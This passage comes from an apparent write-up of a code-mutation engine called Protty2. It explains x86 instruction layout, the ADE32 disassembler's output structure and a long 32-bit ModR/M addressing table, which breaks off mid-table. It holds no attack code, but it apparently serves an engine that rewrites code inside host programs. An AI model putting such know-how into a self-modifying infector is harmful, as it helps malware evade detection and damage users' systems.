 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 A                 A                 A     * * *     A                 A
 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   A A A A A A A A   A A A A A A A A   A A A A A A A A   A A A A A A A A
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   AAAAAAAAAAAAAAA   AAAAAAAAAAAAAAA
                   A                          A                 A
                   A                          A                 A
                Opcode                   ModR/M Byte        SIB Byte
             1 or 2 Bytes
```

Each instruction consists of an Opcode, a Register and/or Address mode specifier (if required) consisting of the ModR/M byte and sometimes the scale -index-base (SIB) byte, a displacement (if required), and an immediate data field (if required).

Z0mbies ADE32 engine can disassembly every instruction and return the DISASM structure which provides information useful for us.
Here is the structure:

```
struct disasm_struct
{
 IN OUT BYTE  disasm_defaddr;       -- specify 4 for 32-bit code
 IN OUT BYTE  disasm_defdata;       -- specify 4 for 32-bit code
 OUT DWORD    disasm_len;           -- total length of opcode or 0
 OUT DWORD    disasm_flag;          -- bitset of C_xxx
 OUT DWORD    disasm_addrsize;      -- size of address (or 0 if no addr)
 OUT DWORD    disasm_datasize;      -- size of data    (or 0 if no data)
 OUT BYTE     disasm_rep;           -- REP prefix value (if C_REP)
 OUT BYTE     disasm_seg;           -- SEG prefix value (if C_SEG)
 OUT BYTE     disasm_opcode;        -- opcode value (present if no error)
 OUT BYTE     disasm_opcode2;       -- 2nd opcode value (if C_OPCODE2)
 OUT BYTE     disasm_modrm;         -- MODRM value (if C_MODRM)
 OUT BYTE     disasm_sib;           -- SIB value (if C_SIB)
 OUT BYTE     disasm_addr[8];       -- address (if disasm_addrsize!=0)
 OUT BYTE     disasm_data[8];       -- data (if disasm_datasize!=0)
};
```

To get the registers used by the instruction, we need to check the disasm_modrm value. Of course there are few exceptions like one-bytes intructions (no ModR/M) like "lodsb/lodsw/stosb" etc.etc. Protty2 is doing manual check for them. Sometimes encoding of the ModR/M requires a SIB byte to fully specify the addressing form. The base+index and scale+index forms of a 32bit addressing require the SIB byte. This, due to lack of free time, wasn't implemented in P2, however when the mechanism cannot find the "registers used" it does some brute-scan and check all registers in host context (this should cover most of the unknown-cases).

But lets go back to ModR/M-s:

Lets imagine we are disassembling following instruction:
- MOV EAX,DWORD PTR DS:[EBX]

The value returned in disasm_modrm is equal to 03h. By knowing this the library checks following table (look for 03):

(32-Bit Addressing Forms with the ModR/M Byte Translated Table)

ModR/M Byte	Src/Dst, Src/Dst Operand
00	[EAX], EAX/AX/AL
01	[ECX], EAX/AX/AL
02	[EDX], EAX/AX/AL
03	[EBX], EAX/AX/AL
04	[--][--], EAX/AX/AL
05	[disp32], EAX/AX/AL
06	[ESI], EAX/AX/AL
07	[EDI], EAX/AX/AL
08	[EAX], ECX/CX/CL
09	[ECX], ECX/CX/CL
0A	[EDX], ECX/CX/CL
0B	[EBX], ECX/CX/CL
0C	[--][--], ECX/CX/CL

```
A               0D              A [disp32], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               0E              A [ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               0F              A [EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               10              A [EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               11              A [ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               12              A [EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               13              A [EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               14              A [--][--], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               15              A [disp32], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               16              A [ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               17              A [EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               18              A [EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               19              A [ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               1A              A [EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               1B              A [EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               1C              A [--][--], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               1D              A [disp32], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               1E              A [ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               1F              A [EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               20              A [EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               21              A [ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               22              A [EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               23              A [EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               24              A [--][--], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               25              A [disp32], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               26              A [ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               27              A [EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               28              A [EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               29              A [ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               2A              A [EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               2B              A [EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               2C              A [--][--], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               2D              A [disp32], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               2E              A [ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               2F              A [EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
A               30              A [EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               31              A [ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               32              A [EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               33              A [EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               34              A [--][--], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               35              A [disp32], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               36              A [ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               37              A [EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               38              A [EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               39              A [ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               3A              A [EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               3B              A [EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               3C              A [--][--], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               3D              A [disp32], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               3E              A [ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               3F              A [EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               40              A [disp8+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               41              A [disp8+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               42              A [disp8+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               43              A [disp8+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               44              A [disp8+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               45              A [disp8+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               46              A [disp8+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               47              A [disp8+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               48              A [disp8+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               49              A [disp8+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               4A              A [disp8+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               4B              A [disp8+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               4C              A [disp8+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               4D              A [disp8+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               4E              A [disp8+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               4F              A [disp8+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               50              A [disp8+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               51              A [disp8+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               52              A [disp8+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
A               53              A [disp8+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               54              A [disp8+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               55              A [disp8+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               56              A [disp8+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               57              A [disp8+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               58              A [disp8+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               59              A [disp8+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               5A              A [disp8+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               5B              A [disp8+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               5C              A [disp8+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               5D              A [disp8+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               5E              A [disp8+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               5F              A [disp8+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               60              A [disp8+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               61              A [disp8+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               62              A [disp8+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               63              A [disp8+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               64              A [disp8+[--][--]], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               65              A [disp8+EBP], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               66              A [disp8+ESI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               67              A [disp8+EDI], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               68              A [disp8+EAX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               69              A [disp8+ECX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               6A              A [disp8+EDX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               6B              A [disp8+EBX], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               6C              A [disp8+[--][--]], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               6D              A [disp8+EBP], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               6E              A [disp8+ESI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               6F              A [disp8+EDI], EBP/BP/CH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               70              A [disp8+EAX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               71              A [disp8+ECX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               72              A [disp8+EDX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               73              A [disp8+EBX], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               74              A [disp8+[--][--]], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               75              A [disp8+EBP], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
A               76              A [disp8+ESI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               77              A [disp8+EDI], ESI/SI/DH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               78              A [disp8+EAX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               79              A [disp8+ECX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               7A              A [disp8+EDX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               7B              A [disp8+EBX], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               7C              A [disp8+[--][--]], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               7D              A [disp8+EBP], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               7E              A [disp8+ESI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               7F              A [disp8+EDI], EDI/DI/BH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               80              A [disp32+EAX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               81              A [disp32+ECX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               82              A [disp32+EDX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               83              A [disp32+EBX], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               84              A [disp32+[--][--]], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               85              A [disp32+EBP], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               86              A [disp32+ESI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               87              A [disp32+EDI], EAX/AX/AL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               88              A [disp32+EAX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               89              A [disp32+ECX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               8A              A [disp32+EDX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               8B              A [disp32+EBX], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               8C              A [disp32+[--][--]], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               8D              A [disp32+EBP], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               8E              A [disp32+ESI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               8F              A [disp32+EDI], ECX/CX/CL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               90              A [disp32+EAX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               91              A [disp32+ECX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               92              A [disp32+EDX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               93              A [disp32+EBX], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               94              A [disp32+[--][--]], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               95              A [disp32+EBP], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               96              A [disp32+ESI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               97              A [disp32+EDI], EDX/DX/DL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               98              A [disp32+EAX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
A               99              A [disp32+ECX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               9A              A [disp32+EDX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               9B              A [disp32+EBX], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               9C              A [disp32+[--][--]], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               9D              A [disp32+EBP], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               9E              A [disp32+ESI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               9F              A [disp32+EDI], EBX/BX/BL
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A0              A [disp32+EAX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A1              A [disp32+ECX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A2              A [disp32+EDX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A3              A [disp32+EBX], ESP/SP/AH
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A               A4              A [disp32+[--][--]], ESP/SP/AH
